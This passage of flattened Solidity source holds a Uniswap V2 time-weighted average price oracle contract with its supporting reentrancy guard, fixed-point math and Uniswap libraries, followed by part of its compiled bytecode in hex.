token address. /// @param _tokenB 2nd token address. /// @param _period Price average period in seconds. /// @param _start Start (block timestamp). constructor( address _factory, address _tokenA, address _tokenB, uint256 _period, uint256 _start ) public Debouncable(_period) Timeboundable(_start, 0) { IUniswapV2Pair _pair = IUniswapV2Pair( UniswapV2Library.pairFor(_factory, _tokenA, _tokenB) ); pair = _pair; token0 = _pair.token0(); token1 = _pair.token1(); price0CumulativeLast = _pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0) price1CumulativeLast = _pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1) uint112 reserve0; uint112 reserve1; (reserve0, reserve1, blockTimestampLast) = _pair.getReserves(); require( reserve0 != 0 && reserve1 != 0, "Oracle: No reserves in the uniswap pool" ); // ensure that there's liquidity in the pair } /// Updates oracle price /// @dev Works only once in a period, other times reverts function update() external override debounce() inTimeBounds() nonReentrant() { ( uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp ) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair)); uint256 timeElapsed = block.timestamp - lastCalled; // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed price0Average = FixedPoint.uq112x112( uint224((price0Cumulative - price0CumulativeLast) / timeElapsed) ); price1Average = FixedPoint.uq112x112( uint224((price1Cumulative - price1CumulativeLast) / timeElapsed) ); emit Updated( price0CumulativeLast, price0Cumulative, price1CumulativeLast, price1Cumulative ); price0CumulativeLast = price0Cumulative; price1CumulativeLast = price1Cumulative; blockTimestampLast = blockTimestamp; } /// Get the price of token. /// @param token The address of one of two tokens (the one to get the price for) /// @param amountIn The amount of token to estimate /// @return amountOut The amount of other token equivalent /// @dev This will always return 0 before update has been called successfully for the first time. function consult(address token, uint256 amountIn) external view override inTimeBounds() returns (uint256 amountOut) { if (token == token0) { amountOut = price0Average.mul(amountIn).decode144(); } else { require(token == token1, "Oracle: Invalid token address"); amountOut = price1Average.mul(amountIn).decode144(); } } event Updated( uint256 price0CumulativeBefore, uint256 price0CumulativeAfter, uint256 price1CumulativeBefore, uint256 price1CumulativeAfter ); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.4.0; import './FullMath.sol'; import './Babylonian.sol'; import './BitMath.sol'; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint256 _x; } uint8 public constant RESOLUTION = 112; uint256 public constant Q112 = 0x10000000000000000000000000000; // 2**112 uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; // 2**224 uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) { uint256 z = 0; require(y == 0 || (z = self._x * y) / y == self._x, 'FixedPoint::mul: overflow'); return uq144x112(z); } // multiply a UQ112x112 by an int and decode, returning an int // reverts on overflow function muli(uq112x112 memory self, int256 y) internal pure returns (int256) { uint256 z = FullMath.mulDiv(self._x, uint256(y < 0 ? -y : y), Q112); require(z < 2**255, 'FixedPoint::muli: overflow'); return y < 0 ? -int256(z) : int256(z); } // multiply a UQ112x112 by a UQ112x112, returning a UQ112x112 // lossy function muluq(uq112x112 memory self, uq112x112 memory other) internal pure returns (uq112x112 memory) { if (self._x == 0 || other._x == 0) { return uq112x112(0); } uint112 upper_self = uint112(self._x >> RESOLUTION); // * 2^0 uint112 lower_self = uint112(self._x & LOWER_MASK); // * 2^-112 uint112 upper_other = uint112(other._x >> RESOLUTION); // * 2^0 uint112 lower_other = uint112(other._x & LOWER_MASK); // * 2^-112 // partial products uint224 upper = uint224(upper_self) * upper_other; // * 2^0 uint224 lower = uint224(lower_self) * lower_other; // * 2^-224 uint224 uppers_lowero = uint224(upper_self) * lower_other; // * 2^-112 uint224 uppero_lowers = uint224(upper_other) * lower_self; // * 2^-112 // so the bit shift does not overflow require(upper <= uint112(-1), 'FixedPoint::muluq: upper overflow'); // this cannot exceed 256 bits, all values are 224 bits uint256 sum = uint256(upper << RESOLUTION) + uppers_lowero + uppero_lowers + (lower >> RESOLUTION); // so the cast does not overflow require(sum <= uint224(-1), 'FixedPoint::muluq: sum overflow'); return uq112x112(uint224(sum)); } // divide a UQ112x112 by a UQ112x112, returning a UQ112x112 function divuq(uq112x112 memory self, uq112x112 memory other) internal pure returns (uq112x112 memory) { require(other._x > 0, 'FixedPoint::divuq: division by zero'); if (self._x == other._x) { return uq112x112(uint224(Q112)); } if (self._x <= uint144(-1)) { uint256 value = (uint256(self._x) << RESOLUTION) / other._x; require(value <= uint224(-1), 'FixedPoint::divuq: overflow'); return uq112x112(uint224(value)); } uint256 result = FullMath.mulDiv(Q112, self._x, other._x); require(result <= uint224(-1), 'FixedPoint::divuq: overflow'); return uq112x112(uint224(result)); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // can be lossy function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // take the reciprocal of a UQ112x112 // reverts on overflow // lossy function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) { require(self._x != 0, 'FixedPoint::reciprocal: reciprocal of zero'); require(self._x != 1, 'FixedPoint::reciprocal: overflow'); return uq112x112(uint224(Q224 / self._x)); } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } pragma solidity >=0.5.0; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol'; import '@uniswap/lib/contracts/libraries/FixedPoint.sol'; // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } pragma solidity >=0.5.0; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol'; import "./SafeMath.sol"; library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } //SPDX-License-Identifier: MIT pragma solidity =0.6.6; /// Provides modifier for debouncing call to methods, /// i.e. method cannot be called more earlier than debouncePeriod /// since the last call abstract contract Debouncable { /// Debounce period in secs uint256 public immutable debouncePeriod; /// Last time method successfully called (block timestamp) uint256 public lastCalled; /// @param _debouncePeriod Debounce period in secs constructor(uint256 _debouncePeriod) internal { debouncePeriod = _debouncePeriod; } /// Throws if the method was called earlier than debouncePeriod last time. modifier debounce() { uint256 timeElapsed = block.timestamp - lastCalled; require( timeElapsed >= debouncePeriod, "Debouncable: already called in this time slot" ); _; lastCalled = block.timestamp; } } //SPDX-License-Identifier: MIT pragma solidity =0.6.6; /// Checks time bounds for contract abstract contract Timeboundable { uint256 public immutable start; uint256 public immutable finish; /// @param _start The block timestamp to start from (in secs). Use 0 for unbounded start. /// @param _finish The block timestamp to finish in (in secs). Use 0 for unbounded finish. constructor(uint256 _start, uint256 _finish) internal { require( (_start != 0) || (_finish != 0), "Timebound: either start or finish must be nonzero" ); require( (_finish == 0) || (_finish > _start), "Timebound: finish must be zero or greater than start" ); uint256 s = _start; if (s == 0) { s = block.timestamp; } uint256 f = _finish; if (f == 0) { f = uint256(-1); } start = s; finish = f; } /// Checks if timebounds are satisfied modifier inTimeBounds() { require(block.timestamp >= start, "Timeboundable: Not started yet"); require(block.timestamp <= finish, "Timeboundable: Already finished"); _; } } //SPDX-License-Identifier: MIT pragma solidity =0.6.6; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; /// Fixed window oracle that recomputes the average price for the entire period once every period interface IOracle { /// Updates oracle price /// @dev Works only once in a period, other times reverts function update() external; /// Get the price of token. /// @param token The address of one of two tokens (the one to get the price for) /// @param amountIn The amount of token to estimate /// @return amountOut The amount of other token equivalent /// @dev This will always return 0 before update has been called successfully for the first time. function consult(address token, uint256 amountIn) external view returns (uint256 amountOut); function pair() external view returns (IUniswapV2Pair); function token0() external view returns (address); function token1() external view returns (address); } // SPDX-License-Identifier: CC-BY-4.0 pragma solidity >=0.4.0; // taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1 // license is CC-BY-4.0 library FullMath { function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; if (h == 0) return l / d; require(h < d, 'FullMath: FULLDIV_OVERFLOW'); return fullDiv(l, h, d); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.4.0; // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; // this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2); // however that code costs significantly more gas uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.5.0; library BitMath { // returns the 0 indexed position of the most significant bit of the input x // s.t. x >= 2**msb and x < 2**(msb+1) function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } // returns the 0 indexed position of the least significant bit of the input x // s.t. (x & 2**lsb) != 0 and (x & (2**(lsb) - 1)) == 0) // i.e. the bit at the index is set and the mask of all lower bits is 0 function leastSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::leastSignificantBit: zero'); r = 255; if (x & uint128(-1) > 0) { r -= 128; } else { x >>= 128; } if (x & uint64(-1) > 0) { r -= 64; } else { x >>= 64; } if (x & uint32(-1) > 0) { r -= 32; } else { x >>= 32; } if (x & uint16(-1) > 0) { r -= 16; } else { x >>= 16; } if (x & uint8(-1) > 0) { r -= 8; } else { x >>= 8; } if (x & 0xf > 0) { r -= 4; } else { x >>= 4; } if (x & 0x3 > 0) { r -= 2; } else { x >>= 2; } if (x & 0x1 > 0) r -= 1; } } pragma solidity =0.6.6; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063a2e620451161008c578063be9a655511610066578063be9a6555146101de578063c5700a02146101e6578063d21220a714610207578063d56b28891461020f576100ea565b8063a2e62045146101c4578063a6bb4539146101ce578063a8aa1b31146101d6576100ea565b80633f5885fc116100c85780633f5885fc146101735780635909c0d51461017b5780635a3d5493146101835780635e6aaf2c1461018b576100ea565b80630dfe1681146100ef57806317793aa3146101205780633ddac9531461013a575b600080fd5b6100f7610217565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61012861023b565b60408051918252519081900360200190f35b6101286004803603604081101561015057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610241565b610128610530565b610128610554565b61012861055a565b610193610560565b604080517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101cc610584565b005b610193610942565b6100f7610966565b61012861098a565b6101ee6109ae565b6040805163ffffffff9092168252519081900360200190f35b6100f76109ba565b6101286109de565b7f00000000000000000000000043244c686a014c49d3d5b8c4b20b4e3fab0cbda781565b60005481565b60007f00000000000000000000000000000000000000000000000000000000606ced854210156102d257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f54696d65626f756e6461626c653a204e6f742073746172746564207965740000604482015290519081900360640190fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff42111561036157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f54696d65626f756e6461626c653a20416c72656164792066696e697368656400604482015290519081900360640190fd5b7f00000000000000000000000043244c686a014c49d3d5b8c4b20b4e3fab0cbda773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156104175760408051602081019091526005547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681526103fc906103f7908463ffffffff610a0216565b610ac5565b71ffffffffffffffffffffffffffffffffffff16905061052a565b7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146104d157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4f7261636c653a20496e76616c696420746f6b656e2061646472657373000000604482015290519081900360640190fd5b60408051602081019091526006547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152610513906103f7908463ffffffff610a0216565b71ffffffffffffffffffffffffffffffffffff1690505b92915050565b7f0000000000000000000000000000000000000000000000000000000000000e1081565b60025481565b60035481565b6006547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681565b60005442037f0000000000000000000000000000000000000000000000000000000000000e10811015610602576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180611360602d913960400191505060405180910390fd5b7f00000000000000000000000000000000000000000000000000000000606ced8542101561069157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f54696d65626f756e6461626c653a204e6f742073746172746564207965740000604482015290519081900360640190fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff42111561072057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f54696d65626f756e6461626c653a20416c72656164792066696e697368656400604482015290519081900360640190fd5b6002600154141561079257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600155600080806107c47f000000000000000000000000672c973155c46fc264c077a41218ddc397bb7532610acc565b92509250925060008054420390506040518060200160405280826002548703816107ea57fe5b047bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9081169091529051600580547fffffffff00000000000000000000000000000000000000000000000000000000169190921617905560408051602081019091526003548190839086038161085857fe5b047bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9081169091529051600680547fffffffff00000000000000000000000000000000000000000000000000000000169190921617905560025460035460408051928352602083018790528281019190915260608201859052517fe75d396a479695bf8384579b621262055952455623ff38da02affb3a52455d8d916080908290030190a150600292909255600355600480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff909216919091179055506001805542600055565b6005547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000672c973155c46fc264c077a41218ddc397bb753281565b7f00000000000000000000000000000000000000000000000000000000606ced8581565b60045463ffffffff1681565b7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f81565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b610a0a6110fc565b6000821580610a4557505082517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1682810290838281610a4257fe5b04145b610ab057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4669786564506f696e743a3a6d756c3a206f766572666c6f7700000000000000604482015290519081900360640190fd5b60408051602081019091529081529392505050565b5160701c90565b6000806000610ad9610d53565b90508373ffffffffffffffffffffffffffffffffffffffff16635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2157600080fd5b505afa158015610b35573d6000803e3d6000fd5b505050506040513d6020811015610b4b57600080fd5b5051604080517f5a3d5493000000000000000000000000000000000000000000000000000000008152905191945073ffffffffffffffffffffffffffffffffffffffff861691635a3d549391600480820192602092909190829003018186803b158015610bb757600080fd5b505afa158015610bcb573d6000803e3d6000fd5b505050506040513d6020811015610be157600080fd5b5051604080517f0902f1ac00000000000000000000000000000000000000000000000000000000815290519193506000918291829173ffffffffffffffffffffffffffffffffffffffff891691630902f1ac916004808301926060929190829003018186803b158015610c5357600080fd5b505afa158015610c67573d6000803e3d6000fd5b505050506040513d6060811015610c7d57600080fd5b5080516020820151604090920151909450909250905063ffffffff80821690851614610d495780840363ffffffff8116610cca6dffffffffffffffffffffffffffff808616908716610d5d565b600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1602870196508063ffffffff16610d22856dffffffffffffffffffffffffffff16856dffffffffffffffffffffffffffff16610d5d565b517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16029590950194505b5050509193909250565b63ffffffff421690565b610d6561110f565b60008211610dbe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806113b26026913960400191505060405180910390fd5b82610dd8575060408051602081019091526000815261052a565b71ffffffffffffffffffffffffffffffffffff8311610ec357600082607085901b81610e0057fe5b0490507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115610e8e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681525091505061052a565b6000610edf846e01000000000000000000000000000085610f6c565b90507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115610e8e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6000806000610f7b8686611041565b9150915060008480610f8957fe5b868809905082811115610f9d576001820391505b918290039181610fbb57848381610fb057fe5b04935050505061103a565b84821061102957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f46756c6c4d6174683a2046554c4c4449565f4f564552464c4f57000000000000604482015290519081900360640190fd5b61103483838761108c565b93505050505b9392505050565b600080807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84860990508385029250828103915082811015611084576001820391505b509250929050565b6000818103821680838161109c57fe5b0492508085816110a857fe5b0494508081600003816110b757fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b6040518060200160405280600081525090565b60408051602081019091526000815290565b6000806000611130858561120c565b604080517fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501207fff0000000000000000000000000000000000000000000000000000000000000060688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b6000808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061138d6025913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16106112ce5782846112d1565b83835b909250905073ffffffffffffffffffffffffffffffffffffffff821661135857